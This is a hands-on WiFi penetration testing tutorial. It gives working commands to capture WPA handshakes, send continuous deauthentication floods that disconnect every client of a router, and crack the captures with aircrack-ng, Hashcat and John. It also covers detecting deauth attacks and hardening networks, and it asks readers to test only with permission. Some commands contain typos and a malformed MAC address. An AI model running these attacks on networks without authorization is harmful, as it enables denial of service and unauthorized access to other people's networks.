Practical, hands on WiFi pentesting guide for students and security professionals. Follow these steps only on networks you own or where you have explicit permission to test.

Table of contents

1. What this guide covers
2. Why WiFi security matters
3. Quick start
4. Hardware and system requirements
5. Recommended adapters and where to buy
6. Install drivers and helper scripts
7. Basics and monitor mode
8. Scanning and handshake capture
9. Deauthentication and disruption techniques
   • Freeze an AP with authentication floods
   • Fake authentication frames
   • Beacon flood — multiple fake access points
   • Fake portal with airbase-ng
   • Automate assessments with Airgeddon
   • Evil twin attack
10. Cracking handshakes — aircrack, Hashcat, John
11. 2.4 GHz and 5 GHz scanning
12. How to detect deauthentication attacks
13. Security hardening and mitigation
14. Legal and ethical rules

Practical, hands on WiFi pentesting: recon, handshake capture, cracking, controlled disruption testing, and clear remediation steps. Designed for authorized security assessments and learning.

Quick highlights

• Map nearby networks and collect authorized WPA handshakes
• Run safe disruption tests in a lab to measure resilience
• Crack captures with wordlists or GPU tools and produce remediation

Legal and ethical note

Obtain written permission before any test. This guide is for defensive security and training only.

This adapter has a Realtek RTL8821AU Chipset. It will cost u ₹1,100 or maybe less. it have a good range and It support in linux community and has driver for Kali linux, Parrot OS ..etc Archer T2U Plus is on sale under 1000 INR, which is a very affordable price and it too good in my opinion for Beginners in Pentesting.

👉Amazon

👉Flipkart

👉AC1300 T3U

👉AC1200

👉AC1900

git clone https://github.com/Esther7171/WiFi-Pentesting && cd WiFi-Pentesting && chmod +x install.sh && ./install.sh

• This Script will automaticall install Drivers kali as well External Wifi adapters.

The First this is to do Recorganize your wireless adapater name according to your os

• In kali the Default name is wlan0, If you have 2 wifi adapter connected at same time it will show wlan1

sudo sudo
su root

iwconfig

airmon-ng check kill

• wlan0 => interface name .
• WIFI@REALTEK => Is wlan0 nickname u can use both but reccommended wlan0.
• if u have already connected to wifi sometime it show wlan1 or wlan2 rather than wlna0 (in case u have 2 adpater 1 for wifi and second to attack)

ifconfig wlan0 down

iwconfig wlan0 mode managed 

ifconfig wlan0 up

iwconfig 

airmon-ng start wlan0   

airodump-ng wlan0   

• Copy bssid ofnetwork u like (bssid = mac address show on first row)
• also note the ch (channel number of same router)

• --bssid => whom u going to attack

• --channel => to give channel number if it or use [(-c) for channel but sometime it didn't work well ]

• station => is the device connectedto router.

• --write => to creat a file where my handshake store

airodump-ng wlan0 --bssid --channel --write /path/Meow.txt

airodump-ng wlan0 --bssid -c -w /path/Meow.txt

airodump-ng wlan0 --bssid 3C:46:45:1D:5D:31 --channel 11  -w /home/death/Meow.txt

• aireplay-ng is powerfull we using itfor deauth people and capture handshake when they try to reconnect.
• -a => router mac addrs.
• -c => device connected with router we going to deauthenticate.
• --deauth / -0 => to send number of deauth packeges.

aireplay-ng wlan0 -a -c  --deauth 10

aireplay-ng wlan0 -a <bssid> -c <station>  -0 <number of packages>

aireplay-ng wlan0 -a 3C:46:45:1D:5D:31 -c D4:36:89:A4:7R:29 --deauth 10

aireplay-ng wlan0 -a <bssid> -0 <deauth n.o packages>

The captured file (PCAP or .cap) contains the WPA/WPA2 EAPOL handshake or PMKID. Convert or use it directly depending on the cracking tool you choose.

Cracking with aircrack-ng (quick CPU wordlist test)

1. Use aircrack-ng for fast CPU-based checks against wordlists:

aircrack-ng /path/Meow-01.cap -w /usr/share/wordlists/rockyou.txt

Cracking with Hashcat (GPU, recommended for large jobs)

1. Convert captures into Hashcat format:

• Using hcxtools (recommended): extract 22000 format (PMKID + EAPOL)

hcxpcapngtool -o handshakes.22000 capture.pcapng

• Or use cap2hccapx (older) to create .hccapx

cap2hccapx capture.cap handshakes.hccapx

2. Run Hashcat (mode 22000 for modern captures):

hashcat -m 22000 handshakes.22000 /path/wordlists/rockyou.txt --status --status-timer=10

3. Use masks, rules, and combinator attacks for better results. Example hybrid attack with a rule:

hashcat -m 22000 handshakes.22000 /path/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Cracking with John the Ripper

1. Convert to a supported format (hccapx) and run John:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=WPAPSK handshakes.hccapx

Tips and best practices

1. Prefer Hashcat with GPU for large wordlists and rule-based attacks.
2. Use curated wordlists, rules, and masks before launching exhaustive attacks.
3. Collect PMKID and EAPOL where possible; PMKID attacks avoid deauth in some cases.
4. Always validate results and document timelines and commands in your report.

Legal reminder

Only attempt cracking on networks you own or where you have explicit written permission. Unauthorized cracking is illegal.

By defualt airdump-ng scan 2.4ghz network to scan 5ghz and 2ghz at same time we have to use --band switch and specify band abg that stand for

airodump-ng wlan0 --band abg

To disrupting network we can use tools such as mdk4 and aireplay-ng. Use them only in authorized tests and with caution.

using aireplay-ng

sudo aireplay-ng wlan0 -a router-bssid -c client-bssid -0 0

• -0 sends continuous deauthentication frames

To target the whole router (disconnect every client)

sudo aireplay-ng wlan0 -a router-bssid -0 0

Install mdk4

sudo apt install mdk4

Common disruption modes (for awareness only)

• Deauthentication flood
• Fake authentication floods to overwhelm APs
• Beacon flood to create many fake SSIDs
• Evil twin and captive portal simulations in controlled lab environments

How to detect deauthentication attacks

Signs of a deauthentication attack

1. Many clients disconnecting and reconnecting rapidly
2. Repeated EAPOL handshakes captured in a short time window
3. High volume of 802.11 management frames with subtype deauthentication

Quick commands to detect and log deauth frames

• Live capture with tshark (shows deauth frames)

tshark -i wlan0 -Y "wlan.fc.type_subtype == 12" -T fields -e frame.time -e wlan.sa -e wlan.da

• Save a capture and inspect in Wireshark; use display filter

wlan.fc.type_subtype == 0x0c

• Monitor station activity on the AP interface

watch -n 2 "iw dev wlan0 station dump"

What to check on your infrastructure

1. AP/syslog entries for frequent disassociations or management frame reasons
2. Client reports of intermittent connectivity on the same time window
3. Presence of unknown MAC addresses repeatedly sending deauth frames

Mitigations and quick responses

1. Enable Protected Management Frames (802.11w / PMF) if supported
2. Update access point firmware and enable vendor logging
3. Move to a different channel and reboot affected APs as a short term fix
4. Use IDS/monitoring to alert on high-rate management frames
5. Document incidents, collect captures, and block offending MACs at the controller if available

• Encryption Standards: Ensure that WPA2/WPA3 is used instead of older protocols like WEP or WPA, which are less secure.

• SSID Management: Disable SSID broadcasting to make the network less visible. Use a non-identifiable SSID to avoid revealing the network type.

• Strong Passwords: Implement complex passwords for network access and change them regularly.

• MAC Address Filtering: Allow only authorized devices to connect by maintaining a whitelist of MAC addresses.

• Network Segmentation: Separate guest and internal networks to limit exposure and potential attack vectors.

• Disable WPS: Wi-Fi Protected Setup (WPS) can be vulnerable; disabling it can enhance security.

• Monitor for Rogue Access Points: Use tools to detect unauthorized access points that may compromise the network.

• Regular Firmware Updates: Keep access point firmware up to date to protect against known vulnerabilities.

• Intrusion Detection Systems (IDS): Deploy IDS to monitor and alert on suspicious activity.

• Conduct Regular Audits: Periodically review the security configurations and access logs to identify potential weaknesses.